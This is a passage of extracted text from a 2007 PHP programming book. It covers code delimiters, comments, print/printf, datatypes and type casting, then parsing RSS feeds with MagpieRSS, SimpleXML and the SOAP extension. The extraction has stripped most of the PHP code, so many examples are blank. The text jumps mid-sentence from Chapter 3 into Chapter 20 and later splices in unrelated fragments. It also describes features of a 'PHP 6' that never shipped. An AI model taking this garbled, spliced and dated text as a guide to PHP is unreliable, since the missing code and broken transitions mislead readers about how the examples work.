Embedding PHP Code in Your Web Pages One of PHP’s advantages is that you can embed PHP code directly alongside HTML. For the code to do anything, the page must be passed to the PHP engine for interpretation. But the Web server doesn’t just pass every page, rather, it passes only those pages identified by a specific file extension (typically .php) as configured per the instructions in Chapter 2. But even selectively passing only certain pages to the engine would nonetheless be highly inefficient for the engine to consider every line as a potential PHP command. Therefore, the engine needs some means to immediately determine which areas of the page are PHP-enabled. This is logically accomplished by delimiting the PHP code. There are four delimitation variants, all of which are introduced in this section.
39
Gilmore_Bryla_770-2C03.fm Page 40 Thursday, July 26, 2007 10:04 AM
40
CHAPTER 3 ■ PHP B ASICS
Default Syntax The default delimiter syntax opens with , like this: Welcome!
Some static output here
If you save this code as test.php and execute it from a PHP-enabled Web server, you’ll see the output shown in Figure 3-1.
Figure 3-1. Sample PHP output
Short-Tags For less motivated typists an even shorter delimiter syntax is available. Known as short-tags, this syntax forgoes the php reference required in the default syntax. However, to use this feature, you need to enable PHP’s short_open_tag directive. An example follows:
■Caution
Although short-tag delimiters are convenient, keep in mind that they clash with XML, and thus XHTML, syntax. Therefore, for conformance reasons you shouldn’t use short-tag syntax.
Gilmore_Bryla_770-2C03.fm Page 41 Thursday, July 26, 2007 10:04 AM
C HAPT ER 3 ■ PHP BA SICS
When short-tags syntax is enabled and you want to quickly escape to and from PHP to output a bit of dynamic text, you can omit these statements using an output variation known as short-circuit syntax: This is functionally equivalent to both of the following variations:
Script Historically, certain editors, Microsoft’s FrontPage editor in particular, have had problems dealing with escape syntax such as that employed by PHP. Therefore, support for another mainstream delimiter variant, , is offered: print "This is another PHP example.";
■Tip
Microsoft’s FrontPage editor also recognizes ASP-style delimiter syntax, introduced next.
ASP Style Microsoft ASP pages employ a similar strategy, delimiting static from dynamic syntax by using a predefined character pattern, opening dynamic syntax with . If you’re coming from an ASP background and prefer to continue using this escape syntax, PHP supports it. Here’s an example:
■Caution
ASP-style syntax was removed as of PHP 6.
Embedding Multiple Code Blocks You can escape to and from PHP as many times as required within a given page. For instance, the following example is perfectly acceptable:
Today's date is
41
Gilmore_Bryla_770-2C03.fm Page 42 Thursday, July 26, 2007 10:04 AM
42
CHAPTER 3 ■ PHP B ASICS
As you can see, any variables declared in a prior code block are “remembered” for later blocks, as is the case with the $date variable in this example.
Commenting Your Code Whether for your own benefit or for that of a programmer later tasked with maintaining your code, the importance of thoroughly commenting your code cannot be overstated. PHP offers several syntactical variations, each of which is introduced in this section.
Single-Line C++ Syntax Comments often require no more than a single line. Because of its brevity, there is no need to delimit the comment’s conclusion because the newline (\n) character fills this need quite nicely. PHP supports C++ single-line comment syntax, which is prefaced with a double slash (//), like this:
Shell Syntax PHP also supports an alternative to the C++-style single-line syntax, known as shell syntax, which is prefaced with a hash mark (#). Revisiting the previous example, we use hash marks to add some information about the script:
Multiple-Line C Syntax It’s often convenient to include somewhat more verbose functional descriptions or other explanatory notes within code, which logically warrants numerous lines. Although you could preface each line with C++ or shell-style delimiters, PHP also offers a multiple-line variant that can open and close the comment on different lines. Here’s an example:
Gilmore_Bryla_770-2C03.fm Page 43 Thursday, July 26, 2007 10:04 AM
C HAPT ER 3 ■ PHP BA SICS
ADVANCED DOCUMENTATION WITH PHPDOCUMENTOR Because documentation is such an important part of effective code creation and management, considerable effort has been put into devising methods for helping developers automate the process. In fact, these days documentation solutions are available for all mainstream programming languages, PHP included. phpDocumentor (http://www. phpdoc.org/) is an open source project that facilitates the documentation process by converting the comments embedded within the source code into a variety of easily readable formats, including HTML and PDF. phpDocumentor works by parsing an application’s source code, searching for special comments known as DocBlocks. Used to document all code within an application, including scripts, classes, functions, variables, and more, DocBlocks contain human-readable explanations along with formalized descriptors such as the author’s name, code version, copyright statement, function return values, and much more. Even if you’re a novice programmer, it’s strongly suggested you become familiar with advanced documentation solutions and get into the habit of using them for even basic applications.
Outputting Data to the Browser Of course, even the simplest of Web sites will output data to the browser, and PHP offers several methods for doing so.
■Note
Throughout this chapter, and indeed the rest of this book, when introducing functions we’ll refer to their prototype. A prototype is simply the function’s definition, formalizing its name, input parameters, and the type of value it returns, defined by a datatype. If you don’t know what a datatype is, see the section “PHP’s Supported Datatypes” later in this chapter.
The print() Statement The print() statement outputs data passed to it to the browser. Its prototype looks like this: int print(argument) All of the following are plausible print() statements: All these statements produce identical output:
43
Gilmore_Bryla_770-2C03.fm Page 44 Thursday, July 26, 2007 10:04 AM
44
CHAPTER 3 ■ PHP B ASICS
I love the summertime.
■Note
Although the official syntax calls for the use of parentheses to enclose the argument, they’re not required. Many programmers tend to forgo them simply because the target argument is equally apparent without them.
Alternatively, you could use the echo() statement for the same purposes as print(). While there are technical differences between echo() and print(), they’ll be irrelevant to most readers and therefore aren’t discussed here. echo()’s prototype looks like this: void echo(string argument1 [, ...string argumentN]) As you can see from the prototype, echo() is capable of outputting multiple strings. The utility of this particular trait is questionable; using it seems to be a matter of preference more than anything else. Nonetheless, it’s available should you feel the need. Here’s an example: This code produces the following:
Lennox Lewis and Floyd Mayweather are great fighters.
If your intent is to output a blend of static text and dynamic information passed through variables, consider using printf() instead, which is introduced next. Otherwise, if you’d like to simply output static text, echo() or print() works great.
■Tip Which is faster, echo() or print()? The fact that they are functionally interchangeable leaves many pondering this question. The answer is that the echo() function is a tad faster because it returns nothing, whereas print() will return 1 if the statement is successfully output. It’s rather unlikely that you’ll notice any speed difference, however, so you can consider the usage decision to be one of stylistic concern.
The printf() Statement The printf() statement is ideal when you want to output a blend of static text and dynamic information stored within one or several variables. It’s ideal for two reasons. First, it neatly separates the static and dynamic data into two distinct sections, allowing for easy maintenance. Second, printf() allows you to wield considerable control over how the dynamic information is rendered to the screen in terms of its type, precision, alignment, and position. Its prototype looks like this: boolean printf(string format [, mixed args]) For example, suppose you wanted to insert a single dynamic integer value into an otherwise static string:
Gilmore_Bryla_770-2C03.fm Page 45 Thursday, July 26, 2007 10:04 AM
C HAPT ER 3 ■ PHP BA SICS
printf("Bar inventory: %d bottles of tonic water.", 100); Executing this command produces the following:
Bar inventory: 100 bottles of tonic water.
In this example, %d is a placeholder known as a type specifier, and the d indicates an integer value will be placed in that position. When the printf() statement executes, the lone argument, 100, will be inserted into the placeholder. Remember that an integer is expected, so if you pass along a number including a decimal value (known as a float), it will be rounded down to the closest integer. If you pass along 100.2 or 100.6, 100 will be output. Pass along a string value such as "one hundred", and 0 will be output. Similar logic applies to other type specifiers (see Table 3-1 for a list of commonly used specifiers).
Table 3-1. Commonly Used Type Specifiers
Type
Description
%b
Argument considered an integer; presented as a binary number
%c
Argument considered an integer; presented as a character corresponding to that ASCII value
%d
Argument considered an integer; presented as a signed decimal number
%f
Argument considered a floating-point number; presented as a floating-point number
%o
Argument considered an integer; presented as an octal number
%s
Argument considered a string; presented as a string
%u
Argument considered an integer; presented as an unsigned decimal number
%x
Argument considered an integer; presented as a lowercase hexadecimal number
%X
Argument considered an integer; presented as an uppercase hexadecimal number
So what do you do if you want to pass along two values? Just insert two specifiers into the string and make sure you pass two values along as arguments. For example, the following printf() statement passes in an integer and float value: printf("%d bottles of tonic water cost $%f", 100, 43.20); Executing this command produces the following:
100 bottles of tonic water cost $43.20
When working with decimal values, you can adjust the precision using a precision specifier. An example follows: printf("$%.2f", 43.2); // $43.20
45
Gilmore_Bryla_770-2C03.fm Page 46 Thursday, July 26, 2007 10:04 AM
46
CHAPTER 3 ■ PHP B ASICS
Still other specifiers exist for tweaking the argument’s alignment, padding, sign, and width. Consult the PHP manual for more information.
The sprintf() Statement The sprintf() statement is functionally identical to printf() except that the output is assigned to a string rather than rendered to the browser. The prototype follows: string sprintf(string format [, mixed arguments]) An example follows: $cost = sprintf("$%.2f", 43.2); // $cost = $43.20
PHP’s Supported Datatypes A datatype is the generic name assigned to any data sharing a common set of characteristics. Common datatypes include Boolean, integer, float, string, and array. PHP has long offered a rich set of datatypes, and in this section you’ll learn about them.
Scalar Datatypes Scalar datatypes are capable of containing a single item of information. Several datatypes fall under this category, including Boolean, integer, float, and string.
Boolean The Boolean datatype is named after George Boole (1815–1864), a mathematician who is considered to be one of the founding fathers of information theory. A Boolean variable represents truth, supporting only two values: TRUE and FALSE (case insensitive). Alternatively, you can use zero to represent FALSE, and any nonzero value to represent TRUE. A few examples follow: $alive $alive $alive $alive $alive
= = = = =
false; 1; -1; 5; 0;
// // // // //
$alive $alive $alive $alive $alive
is is is is is
false. true. true. true. false.
Integer An integer is representative of any whole number or, in other words, a number that does not contain fractional parts. PHP supports integer values represented in base 10 (decimal), base 8 (octal), and base 16 (hexadecimal) numbering systems, although it’s likely you’ll only be concerned with the first of those systems. Several examples follow: 42 -678900 0755 0xC4E
// // // //
decimal decimal octal hexadecimal
The maximum supported integer size is platform-dependent, although this is typically positive or negative 231 for PHP version 5 and earlier. PHP 6 introduced a 64-bit integer value, meaning PHP will support integer values up to positive or negative 263 in size.
Gilmore_Bryla_770-2C03.fm Page 47 Thursday, July 26, 2007 10:04 AM
C HAPT ER 3 ■ PHP BA SICS
Float Floating-point numbers, also referred to as floats, doubles, or real numbers, allow you to specify numbers that contain fractional parts. Floats are used to represent monetary values, weights, distances, and a whole host of other representations in which a simple integer value won’t suffice. PHP’s floats can be specified in a variety of ways, each of which is exemplified here: 4.5678 4.0 8.7e4 1.23E+11
String Simply put, a string is a sequence of characters treated as a contiguous group. Strings are delimited by single or double quotes, although PHP also supports another delimitation methodology, which is introduced in the later section “String Interpolation.” The following are all examples of valid strings: "PHP is a great language" "whoop-de-do" '*9subway\n' "123$%^789" Historically, PHP treated strings in the same fashion as arrays (see the next section, “Compound Datatypes,” for more information about arrays), allowing for specific characters to be accessed via array offset notation. For example, consider the following string: $color = "maroon"; You could retrieve a particular character of the string by treating the string as an array, like this: $parser = $color[2]; // Assigns 'r' to $parser
Compound Datatypes Compound datatypes allow for multiple items of the same type to be aggregated under a single representative entity. The array and the object fall into this category.
Array It’s often useful to aggregate a series of similar items together, arranging and referencing them in some specific way. This data structure, known as an array, is formally defined as an indexed collection of data values. Each member of the array index (also known as the key) references a corresponding value and can be a simple numerical reference to the value’s position in the series, or it could have some direct correlation to the value. For example, if you were interested in creating a list of U.S. states, you could use a numerically indexed array, like so: $state[0] = "Alabama"; $state[1] = "Alaska"; $state[2] = "Arizona"; ... $state[49] = "Wyoming";
47
Gilmore_Bryla_770-2C03.fm Page 48 Thursday, July 26, 2007 10:04 AM
48
CHAPTER 3 ■ PHP B ASICS
But what if the project required correlating U.S. states to their capitals? Rather than base the keys on a numerical index, you might instead use an associative index, like this: $state["Alabama"] = "Montgomery"; $state["Alaska"] = "Juneau"; $state["Arizona"] = "Phoenix"; ... $state["Wyoming"] = "Cheyenne"; Arrays are formally introduced in Chapter 5, so don’t worry too much about the matter if you don’t completely understand these concepts right now.
■Note
PHP also supports arrays consisting of several dimensions, better known as multidimensional arrays. This concept is introduced in Chapter 5.
Object The other compound datatype supported by PHP is the object. The object is a central concept of the object-oriented programming paradigm. If you’re new to object-oriented programming, Chapters 6 and 7 are devoted to the topic. Unlike the other datatypes contained in the PHP language, an object must be explicitly declared. This declaration of an object’s characteristics and behavior takes place within something called a class. Here’s a general example of class definition and subsequent invocation: class Appliance { private $_power; function setPower($status) { $this->_power = $status; } } ... $blender = new Appliance; A class definition creates several attributes and functions pertinent to a data structure, in this case a data structure named Appliance. There is only one attribute, power, which can be modified by using the method setPower(). Remember, however, that a class definition is a template and cannot itself be manipulated. Instead, objects are created based on this template. This is accomplished via the new keyword. Therefore, in the last line of the previous listing, an object of class Appliance named blender is created. The blender object’s power attribute can then be set by making use of the method setPower(): $blender->setPower("on"); Improvements to PHP’s object-oriented development model are a highlight of PHP 5 and are further enhanced in PHP 6. Chapters 6 and 7 are devoted to thorough coverage of PHP’s objectoriented development model.
Converting Between Datatypes Using Type Casting Converting values from one datatype to another is known as type casting. A variable can be evaluated once as a different type by casting it to another. This is accomplished by placing the intended type in front of the variable to be cast. A type can be cast by inserting one of the operators shown in Table 3-2 in front of the variable.
Gilmore_Bryla_770-2C03.fm Page 49 Thursday, July 26, 2007 10:04 AM
C HAPT ER 3 ■ PHP BA SICS
Table 3-2. Type Casting Operators
Cast Operators
Conversion
(array)
Array
(bool) or (boolean)
Boolean
(int) or (integer)
Integer
(int64)
64-bit integer (introduced in PHP 6)
(object)
Object
(real) or (double) or (float)
Float
(string)
String
Let’s consider several examples. Suppose you’d like to cast an integer as a double: $score = (double) 13; // $score = 13.0 Type casting a double to an integer will result in the integer value being rounded down, regardless of the decimal value. Here’s an example: $score = (int) 14.8; // $score = 14 What happens if you cast a string datatype to that of an integer? Let’s find out: $sentence = "This is a sentence"; echo (int) $sentence; // returns 0 In light of PHP’s loosely typed design, it will simply return the integer value unmodified. However, as you’ll see in the next section, PHP will sometimes take the initiative and cast a type to best fit the requirements of a given situation. You can also cast a datatype to be a member of an array. The value being cast simply becomes the first element of the array: $score = 1114; $scoreboard = (array) $score; echo $scoreboard[0]; // Outputs 1114 Note that this shouldn’t be considered standard practice for adding items to an array because this only seems to work for the very first member of a newly created array. If it is cast against an existing array, that array will be wiped out, leaving only the newly cast value in the first position. See Chapter 5 for more information about creating arrays. One final example: any datatype can be cast as an object. The result is that the variable becomes an attribute of the object, the attribute having the name scalar: $model = "Toyota"; $obj = (object) $model; The value can then be referenced as follows: print $ obj->scalar; // returns "Toyota"
49
Gilmore_Bryla_770-2C03.fm Page 50 Thursday, July 26, 2007 10:04 AM
50
CHAPTER 3 ■ PHP B ASICS
Adapting Datatypes with Type Juggling Because of PHP’s lax attitude toward type definitions, variables are sometimes automatically cast to best fit the circumstances in which they are referenced. Consider the following snippet: The outcome is the expected one; $total is assigned 20, converting the $count variable from a string to an integer in the process. Here’s another example demonstrating PHP’s type-juggling capabilities: The integer value at the beginning of the original $total string is used in the calculation. However, if it begins with anything other than a numerical representation, the value is 0. Consider another example: Inside Open Source http://opensource.apress.com/ Killer Firefox Tip #294 http://opensource.apress.com/article/190/ W. Jason Gilmore Like most of you, I spend bunches of time downloading large files from the Web, typically podcasts and PDF documents… Beginning Ubuntu Linux wins Linux Journal Award! http://opensource.apress.com/article/189/ Keir Thomas Woo hoo! My book, Beginning Ubuntu Linux, has won an award in the Linux Journal Editor's Choice 2006 awards! More precisely… Forms Validation with CakePHP http://opensource.apress.com/article/188/ W. Jason Gilmore Neglecting to validate user input is akin to foregoing any defensive gameplan for containing the NFL's leading rusher. Chances are sooner or later… This example doesn’t take advantage of all available RSS elements. For instance, other feeds might contain elements describing the feed’s update interval, language, and creator. However, for the purposes of the examples found in this chapter, it makes sense to remove those components that have little bearing on instruction. Now that you’re a bit more familiar with the purpose and advantages of RSS, you’ll next learn how to use PHP to incorporate RSS into your own development strategy. Although there are numerous RSS tools written for the PHP language, one in particular offers an amazingly effective solution for retrieving, parsing, and displaying feeds: MagpieRSS.
365
Gilmore_Bryla_770-2C20.fm Page 366 Saturday, July 21, 2007 11:17 AM
366
CHAPTER 20 ■ WEB SERVICE S
MagpieRSS MagpieRSS (Magpie for short) is a powerful RSS parser written in PHP by Kellan Elliott-McCrea. It’s freely available for download via http://magpierss.sourceforge.net/ and is distributed under the GPL license. Magpie offers developers an amazingly practical and easy means for retrieving and rendering RSS feeds, as you’ll soon see. In addition, Magpie offers users a number of cool features, including the following: Simplicity: Magpie gets the job done with a minimum of effort by the developer. For example, typing a few lines of code is all it takes to begin retrieving, parsing, and converting RSS feeds into an easily readable format. Nonvalidating: If the feed is well-formed, Magpie will successfully parse it. This means that it supports all tag sets found within the various RSS versions, as well as your own custom tags. Bandwidth-friendly: By default, Magpie caches feed contents for 60 minutes, cutting down on use of unnecessary bandwidth. You’re free to modify the default to fit caching preferences on a per-feed basis. If retrieval is requested after the cache has expired, Magpie will retrieve the feed only if it has been changed (by checking the Last-Modified and ETag headers provided by the Web server). In addition, Magpie recognizes HTTP’s Gzip content-negotiation ability when supported.
Installing Magpie Like most PHP classes, Magpie is as simple to install as placing the relevant files within a directory that can later be referenced from a PHP script. The instructions for doing so follow: 1. Download Magpie from http://magpierss.sourceforge.net/. 2. Extract the package contents to a location convenient for inclusion from a PHP script. For instance, consider placing third-party classes within an aptly named directory located within the PHP_INSTALL_DIR/includes/ directory. Note that you can forgo the hassle of typing out the complete path to the Magpie directory by adding its location to the include_path directive found in the php.ini file. 3. Include the Magpie class (magpie.php) within your script: require('magpie/magpie.php'); That’s it. You’re ready to begin using Magpie.
How Magpie Parses a Feed Magpie parses a feed by placing it into an object consisting of four fields: channel, image, items, and textinput. In turn, channel is an array of associative arrays, while the remaining three are associative arrays. The following script retrieves the blog.xml feed, outputting it using the print_r() statement: This returns the following output (formatted for readability):
Gilmore_Bryla_770-2C20.fm Page 367 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
Magpie_Feed Object ( [items] => Array ( [0] => Array ( [title] => Killer Firefox Tip #294 [title_detail] => Array ( [type] => text [value] => Killer Firefox Tip #294 ) [link] => http://opensource.apress.com/article/190/ [links] => Array ( [0] => Array ( [rel] => alternate [href] => http://opensource.apress.com/article/190/ ) ) [author] => W. Jason Gilmore [description] => Like most of you, I spend bunches of time downloading large files from the Web, typically podcasts and PDF documents... ) [1] => Array ( [title] => Beginning Ubuntu Linux wins Linux Journal Award! [title_detail] => Array ( [type] => text [value] => Beginning Ubuntu Linux wins Linux Journal Award! ) [link] => http://opensource.apress.com/article/189/ [links] => Array ( [0] => Array ( [rel] => alternate [ href] => http://opensource.apress.com/article/189/ ) ) [author] => Keir Thomas [description] => Woo hoo! My book, Beginning Ubuntu Linux, has won an award in the Linux Journal Editor's Choice 2006 awards! More precisely... ) [2] => Array ( [title] => Forms Validation with CakePHP [title_detail] => Array ( [type] => text [value] => Forms Validation with CakePHP ) [link] => http://opensource.apress.com/article/188/ [links] => Array ( [0] => Array ( [rel] => alternate [href] => http://opensource.apress.com/article/188/ ) )
367
Gilmore_Bryla_770-2C20.fm Page 368 Saturday, July 21, 2007 11:17 AM
368
CHAPTER 20 ■ WEB SERVICE S
[author] => W. Jason Gilmore [description] => Neglecting to validate user input is akin to foregoing any defensive gameplan for containing the NFL's leading rusher. Chances are sooner or later... ) ) [feed] => Array ( [title] => Inside Open Source [title_detail] => Array ( [type] => text [value] => Inside Open Source ) [link] => http://opensource.apress.com/ [links] => Array ( [0] => Array ( [rel] => alternate [href] => http://opensource.apress.com/ ) ) ) [feed_type] => [feed_version] => [_namespaces] => Array ( ) [from_cache] => [_headers] => Array ( [date] => Sun, 12 Nov 2006 21:11:12 GMT [server] => Apache/2.0.58 (Win32) PHP/5.1.4 [last-modified] => Sun, 12 Nov 2006 21:10:41 GMT [etag] => "ad43-4f5-37c15b77" [accept-ranges] => bytes [content-length] => 1269 [connection] => close [content-type] => application/xml ) [_etag] => "ad43-4f5-37c15b77" [_last_modified] => Sun, 12 Nov 2006 21:10:41 GMT [output_encoding] => utf-8 [channel] => Array ( [title] => Inside Open Source [title_detail] => Array ( [type] => text [value] => Inside Open Source ) [link] => http://opensource.apress.com/ [links] => Array ( [0] => Array ( [rel] => alternate [href] => http://opensource.apress.com/ ) ) ) ) An object named Magpie_Feed is returned, containing several attributes. This means you can access the feed content and other attributes using standard object-oriented syntax. The following examples demonstrate how the data is peeled from this object and presented in various fashions.
Gilmore_Bryla_770-2C20.fm Page 369 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
Retrieving and Rendering an RSS Feed Based on your knowledge of Magpie’s parsing behavior, rendering the feed components should be trivial. Listing 20-2 demonstrates how easy it is to render a retrieved feed within a standard browser. Listing 20-2. Rendering an RSS Feed with Magpie Note that Magpie does all of the hard work of parsing the RSS document, placing the data into easily referenced arrays. Figure 20-2 shows the fruits of this script.
Figure 20-2. Rendering an RSS feed within the browser
369
Gilmore_Bryla_770-2C20.fm Page 370 Saturday, July 21, 2007 11:17 AM
370
CHAPTER 20 ■ WEB SERVICE S
As you can see in Figure 20-2, each feed item is formatted with the title linking to the complete entry. So, for example, following the Killer Firefox Tip #294 link will take the user to http:// opensource.apress.com/article/190/.
Aggregating Feeds Of course, chances are you’re going to want to aggregate multiple feeds and devise some means for viewing them simultaneously. To do so, you can simply modify Listing 20-2, passing in an array of feeds. A bit of CSS may also be added to shrink the space required for output. Listing 20-3 shows the rendered version. Listing 20-3. Aggregating Multiple Feeds with Magpie Figure 20-3 depicts the output based on these three feeds.
Gilmore_Bryla_770-2C20.fm Page 371 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
Figure 20-3. Aggregating feeds Although the use of a static array for containing feeds certainly works, it might be more practical to maintain them within a database table, or at the very least a text file. It really all depends upon the number of feeds you’ll be using and how often you intend on managing the feeds themselves.
Limiting the Number of Displayed Headlines Some Web site developers are so keen on RSS that they wind up dumping quite a bit of information into their published feeds. However, you might be interested in viewing only the most recent items and ignoring the rest. Because Magpie relies heavily on standard PHP language features such as arrays and objects for managing RSS data, limiting the number of headlines is trivial because you can call upon one of PHP’s default array functions for the task. The function array_slice() should do the job quite nicely. For example, suppose you want to limit total headlines displayed for a given feed to three. You can use array_slice() to truncate it prior to iteration, like so: $rss->items = array_slice($rss->items, 0, 3);
371
Gilmore_Bryla_770-2C20.fm Page 372 Saturday, July 21, 2007 11:17 AM
372
CHAPTER 20 ■ WEB SERVICE S
Caching Feeds One final topic to discuss regarding Magpie is its caching feature. By default, Magpie caches feeds for 60 minutes, on the premise that the typical feed will likely not be updated more than once per hour. Therefore, even if you constantly attempt to retrieve the same feeds, say once every 5 minutes, any updates will not appear until the cached feed is at least 60 minutes old. However, some feeds are published more than once an hour, or the feed might be used to publish somewhat more pressing information. (RSS feeds don’t necessarily have to be used for browsing news headlines; you could use them to publish information about system health, logs, or any other data that could be adapted to its structure. It’s also possible to extend RSS as of version 2.0, but this matter is beyond the scope of this book.) In such cases, you may want to consider modifying the default behavior. To completely disable caching, disable the constant MAGPIE_CACHE_ON, like so: define('MAGPIE_CACHE_ON', 0); To change the default cache time (measured in seconds), you can modify the constant MAGPIE_CACHE_AGE, like so: define('MAGPIE_CACHE_AGE',1800); Finally, you can opt to display an error instead of a cached feed in the case that the fetch fails by enabling the constant MAGPIE_CACHE_FRESH_ONLY: define('MAGPIE_CACHE_FRESH_ONLY', 1) You can also change the default cache location (by default, the same location as the executing script) by modifying the MAGPIE_CACHE_DIR constant: define('MAGPIE_CACHE_DIR', '/tmp/magpiecache/');
SimpleXML Everyone agrees that XML signifies an enormous leap forward in data management and application interoperability. Yet how come it’s so darned hard to parse? Although powerful parsing solutions are readily available, DOM, SAX, and XSLT to name a few, each presents a learning curve that is just steep enough to cause considerable gnashing of the teeth among those users interested in taking advantage of XML’s practicalities without an impractical time investment. Leave it to an enterprising PHP developer (namely, Sterling Hughes) to devise a graceful solution. SimpleXML offers users a very practical and intuitive methodology for processing XML structures and is enabled by default as of PHP 5. Parsing even complex structures becomes a trivial task, accomplished by loading the document into an object and then accessing the nodes using field references, as you would in typical object-oriented fashion. The XML document displayed in Listing 20-4 is used to illustrate the examples offered in this section. Listing 20-4. A Simple XML Document Pride and Prejudice Jane Austen Jane Austen's most popular work.
Gilmore_Bryla_770-2C20.fm Page 373 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
The Conformist Alberto Moravia Alberto Moravia's classic psychological novel. The Sun Also Rises Ernest Hemingway The masterpiece that launched Hemingway's career.
Loading XML A number of SimpleXML functions are available for loading and parsing the XML document. These functions are introduced in this section, along with several accompanying examples.
■Note
To take advantage of SimpleXML when using PHP versions older than 6.0, you need to disable the PHP directive zend.ze1_compatibility_mode.
Loading XML from a File The simplexml_load_file() function loads an XML file into an object. Its prototype follows: object simplexml_load_file(string filename [, string class_name]) If a problem is encountered loading the file, FALSE is returned. If the optional class_name parameter is included, an object of that class will be returned. Of course, class_name should extend the SimpleXMLElement class. Consider an example: This code returns the following: object(SimpleXMLElement)#1 (1) { ["book"]=> array(3) { [0]=> object(SimpleXMLElement)#2 (3) { ["title"]=> string(19) "Pride and Prejudice" ["author"]=> string(11) "Jane Austen" ["description"]=> string(32) "Jane Austen's most popular work." } [1]=> object(SimpleXMLElement)#3 (3) { ["title"]=> string(14) "The Conformist"
373
Gilmore_Bryla_770-2C20.fm Page 374 Saturday, July 21, 2007 11:17 AM
374
CHAPTER 20 ■ WEB SERVICE S
["author"]=> string(15) "Alberto Moravia" ["description"]=> string(46) "Alberto Moravia's classic psychological novel." } [2]=> object(SimpleXMLElement)#4 (3) { ["title"]=> string(18) "The Sun Also Rises" ["author"]=> string(16) "Ernest Hemingway" ["description"]=> string(55) "The masterpiece that launched Hemingway's career." } } } Note that dumping the XML will not cause the attributes to show. To view attributes, you need to use the attributes() method, introduced later in this section.
Loading XML from a String If the XML document is stored in a variable, you can use the simplexml_load_string() function to read it into the object. Its prototype follows: object simplexml_load_string(string data) This function is identical in purpose to simplexml_load_file(), except that the lone input parameter is expected in the form of a string rather than a file name.
Loading XML from a DOM The Document Object Model (DOM) is a W3C specification that offers a standardized API for creating an XML document, and subsequently navigating, adding, modifying, and deleting its elements. PHP provides an extension capable of managing XML documents using this standard, titled the DOM XML extension. You can use the simplexml_import_dom() function to convert a node of a DOM document into a SimpleXML node, subsequently exploiting use of the SimpleXML functions to manipulate that node. Its prototype follows: object simplexml_import_dom(domNode node)
Parsing the XML Once an XML document has been loaded into an object, several methods are at your disposal. Presently, four methods are available, each of which is introduced in this section.
Learning More About an Element XML attributes provide additional information about an XML element. In the sample XML document in the previous Listing 20-4, only the author node possesses an attribute, namely gender, used to offer information about the author’s gender. You can use the attributes() method to retrieve these attributes. Its prototype follows: object simplexml_element->attributes()
Gilmore_Bryla_770-2C20.fm Page 375 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
For example, suppose you want to retrieve the gender of each author: This example returns the following: Jane Austen is female. Alberto Moravia is male. Ernest Hemingway is male. You can also directly reference a particular book author’s gender. For example, suppose you want to determine the gender of the author of the second book in the XML document: echo $xml->book[2]->author->attributes(); This example returns the following:
male
Often a node possesses more than one attribute. For example, suppose the author node looks like this: Jane Austen It’s easy to output the attributes with a for loop: foreach($xml->book[0]->author->attributes() AS $a => $b) { printf("%s = %s ", $a, $b); } This example returns the following: gender = female age = 20
Creating XML from a SimpleXML Object The asXML() method returns a well-formed XML 1.0 string based on the SimpleXML object. Its prototype follows: string simplexml_element->asXML() An example follows:
375
Gilmore_Bryla_770-2C20.fm Page 376 Saturday, July 21, 2007 11:17 AM
376
CHAPTER 20 ■ WEB SERVICE S
This example returns the original XML document, except that the newline characters have been removed and the characters have been converted to their corresponding HTML entities.
Learning About a Node’s Children Often you might be interested in only a particular node’s children. Using the children() method, retrieving them becomes a trivial affair. Its prototype follows: object simplexml_element->children() Suppose for example that the books.xml document is modified so that each book includes a cast of characters. The Hemingway book might look like the following: The Sun Also Rises Ernest Hemingway The masterpiece that launched Hemingway's career. Jake Barnes Lady Brett Ashley Robert Cohn Mike Campbell Using the children() method, you can easily retrieve the characters: This example returns the following: Jake Barnes Lady Brett Ashley Robert Cohn Mike Campbell
Using XPath to Retrieve Node Information XPath is a W3C standard that offers an intuitive, path-based syntax for identifying XML nodes. For example, referring to the books.xml document, you could use the xpath() method to retrieve all author nodes using the expression /library/book/author: array simplexml_element->xpath(string path) XPath also offers a set of functions for selectively retrieving nodes based on value. Suppose you want to retrieve all authors found in the books.xml document:
Gilmore_Bryla_770-2C20.fm Page 377 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
This example returns the following: Jane Austen Alberto Moravia Ernest Hemingway You can also use XPath functions to selectively retrieve a node and its children based on a particular value. For example, suppose you want to retrieve all book titles where the author is named Ernest Hemingway: "My main objective is to be professional but to kill him.", Mike Tyson (2002) If you’re new to SOAP, it would certainly behoove you to take some time to become familiar with the protocol. A simple Web search will turn up a considerable amount of information pertinent to this pillar of Web Services. Regardless, you should be able to follow along with the ensuing discussion quite easily because the PHP SOAP extension does a fantastic job of taking care of most of the dirty work pertinent to the assembly, parsing, submission, and retrieval of SOAP messages.
PHP’s SOAP Extension In response to the community clamor for Web Services–enabled applications, and the popularity of third-party SOAP extensions, a native SOAP extension was available as of PHP 5, and enabled by default as of PHP 6.0. This section introduces this object-oriented extension and shows you how to create both a SOAP client and server. Along the way you’ll learn more about many of the functions and methods available through this extension. Before you can follow along with the accompanying examples, you need to take care of a few prerequisites, which are discussed next.
Gilmore_Bryla_770-2C20.fm Page 379 Saturday, July 21, 2007 11:17 AM
C HAPTE R 20 ■ WEB S ERVICES
Prerequisites PHP’s SOAP extension requires the GNOME XML library. You can download the latest stable libxml2 package from http://www.xmlsoft.org/. Binaries are also available for the Windows platform. Version 2.5.4 or greater is required. If you’re running a version of PHP older than 6.0, you’ll also need to configure PHP with the --enable-soap extension. On Windows, you’ll need to add the following line to your php.ini file: extension=php_soap.dll
Instantiating the Client The SoapClient() constructor instantiates a new instance of the SoapClient class. The prototype looks like this: object SoapClient->SoapClient(mixed wsdl [, array options]) The wsdl parameter determines whether the class will be invoked in WSDL or non-WSDL mode; if in WSDL mode, set it to the WSDL file URI, otherwise set it to NULL. The options parameter is an array that accepts the following parameters. It’s optional for WSDL mode and requires that at least the location and url options are set when in non-WSDL mode: actor: This parameter specifies the name, in URI format, of the role that a SOAP node must play in order to process the header. compression: This parameter specifies whether data compression is enabled. Presently, Gzip and x-gzip are supported. According to the TODO document, support is planned for HTTP compression. exceptions: This parameter turns on the exception-handling mechanism. It is enabled by default. location: This parameter is used to specify the endpoint URL,when working in non-WSDL mode. login: This parameter specifies the username if HTTP authentication is used to access the SOAP server. password: This parameter specifies the password if HTTP authentication is used to access the SOAP server. proxy_host: This parameter specifies the name of the proxy host when connecting through a 